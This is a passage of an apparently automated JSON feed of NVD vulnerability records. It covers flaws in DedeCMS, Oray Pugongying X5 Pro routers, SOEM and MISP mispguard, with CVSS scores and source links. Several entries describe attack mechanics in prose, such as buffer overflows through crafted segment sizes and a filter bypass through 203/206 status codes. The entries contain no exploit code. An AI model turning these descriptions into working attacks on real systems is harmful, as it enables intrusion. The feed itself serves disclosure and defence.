record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116253","cveId":"CVE-2026-116253","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component...","summary":"A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component Advertisement Rendering. Executing a manipulation of the argument aid can lead to code injection. The attack can be executed remotely.","detail":"A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component Advertisement Rendering. Executing a manipulation of the argument aid can lead to code injection. The attack can be executed remotely.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T10:16:52.693Z","updatedAt":"2026-10-26T17:17:24.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116253","asOf":"2026-10-26T17:17:24.983Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116253","type":"primary","publishedAt":"2026-10-26T10:16:52.693Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116237","cveId":"CVE-2026-116237","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq.","summary":"A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq. Performing a manipulation results in crlf injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq. Performing a manipulation results in crlf injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T10:16:52.477Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116237","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116237","type":"primary","publishedAt":"2026-10-26T10:16:52.477Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82947","cveId":"CVE-2026-82947","aliases":[],"kind":"vulnerability","title":"SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers.","summary":"SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers. The software uses length and offset values from device messages without validating them against buffer sizes. This can cause the master to access invalid memory locations, potentially disclosing sensitive information or causing crashes.","detail":"SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers. The software uses length and offset values from device messages without validating them against buffer sizes. This can cause the master to access invalid memory locations, potentially disclosing sensitive information or causing crashes.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:36.473Z","updatedAt":"2026-10-26T13:45:21.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82947","asOf":"2026-10-26T13:45:21.740Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82947","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82947","type":"primary","publishedAt":"2026-10-26T09:16:36.473Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82944","cveId":"CVE-2026-82944","aliases":[],"kind":"vulnerability","title":"SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers.","summary":"SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers. The software checks the total size only once at the beginning, but doesn't track the cumulative size as multiple segments arrive. An attacker can declare a small initial size to pass validation, then send additional segments that exceed the allocated buffer. This allows the attacker to write controlled data beyond buffer boundaries, potentially enabling code execution.","detail":"SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers. The software checks the total size only once at the beginning, but doesn't track the cumulative size as multiple segments arrive. An attacker can declare a small initial size to pass validation, then send additional segments that exceed the allocated buffer. This allows the attacker to write controlled data beyond buffer boundaries, potentially enabling code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:36.140Z","updatedAt":"2026-10-26T13:45:21.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82944","asOf":"2026-10-26T13:45:21.740Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82944","type":"primary","publishedAt":"2026-10-26T09:16:36.140Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70388","cveId":"CVE-2026-70388","aliases":[],"kind":"vulnerability","title":"SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside...","summary":"SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside allocated memory boundaries. The software performs arithmetic on message length values without proper validation, allowing negative or extremely large values to bypass safety checks. This can corrupt memory and potentially allow an attacker to execute arbitrary code on the master system.","detail":"SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside allocated memory boundaries. The software performs arithmetic on message length values without proper validation, allowing negative or extremely large values to bypass safety checks. This can corrupt memory and potentially allow an attacker to execute arbitrary code on the master system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:35.860Z","updatedAt":"2026-10-26T13:45:21.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70388","asOf":"2026-10-26T13:45:21.740Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70388","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70388","type":"primary","publishedAt":"2026-10-26T09:16:35.860Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116372","cveId":"CVE-2026-116372","aliases":[],"kind":"vulnerability","title":"MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules.","summary":"MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules. The process_feed_response method in src/mispguard.py was responsible for evaluating feed responses before they reached the MISP instance. The original logic only explicitly handled the case where the HTTP status code was not 200 by passing the response through without filtering, on the assumption that non-200 responses would not carry ingestible event data. However, HTTP 2xx status codes other than 200 (such as 201 Created, 203 Non-Authoritative Information, and 206 Partial Content) were also passed through unfiltered. Because MISP may still ingest content from these responses, a malicious or compromised feed host could return a 203 or 206 status code with arbitrary content, effectively bypassing all of mispguard's filtering rules. This allowed unfiltered or malicious feed data to be ingested into the MISP instance, undermining the security controls that mispguard is designed to enforce. The vulnerability requires the attacker to control or compromise a feed endpoint configured in the MISP instance. No authentication or user interaction is required beyond the feed polling mechanism already in place.","detail":"MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules. The process_feed_response method in src/mispguard.py was responsible for evaluating feed responses before they reached the MISP instance. The original logic only explicitly handled the case where the HTTP status code was not 200 by passing the response through without filtering, on the assumption that non-200 responses would not carry ingestible event data. However, HTTP 2xx status codes other than 200 (such as 201 Created, 203 Non-Authoritative Information, and 206 Partial Content) were also passed through unfiltered. Because MISP may still ingest content from these responses, a malicious or compromised feed host could return a 203 or 206 status code with arbitrary content, effectively bypassing all of mispguard's filtering rules. This allowed unfiltered or malicious feed data to be ingested into the MISP instance, undermining the security controls that mispguard is designed to enforce. The vulnerability requires the attacker to control or compromise a feed endpoint configured in the MISP instance. No authentication or user interaction is required beyond the feed polling mechanism already in place.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:35.580Z","updatedAt":"2026-10-26T17:11:35.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116372","asOf":"2026-10-26T17:11:35.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116372","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116372","type":"primary","publishedAt":"2026-10-26T09:16:35.580Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116236","cveId":"CVE-2026-116236","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting...","summary":"A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting Handler. Such manipulation of the argument pppd_options leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting Handler. Such manipulation of the argument pppd_options leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:35.370Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116236","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116236","type":"primary","publishedAt":"2026-10-26T09:16:35.370Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116235","cveId":"CVE-2026-116235","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication.","summary":"A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication. This manipulation of the argument Username causes crlf injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication. This manipulation of the argument Username causes crlf injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:35.163Z","updatedAt":"2026-10-26T17:17:24.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116235","asOf":"2026-10-26T17:17:24.850Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116235","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116235","type":"primary","publishedAt":"2026-10-26T09:16:35.163Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116234","cveId":"CVE-2026-116234","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler.","summary":"A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. The manipulation of the argument secproto results in crlf injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. The manipulation of the argument secproto results in crlf injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 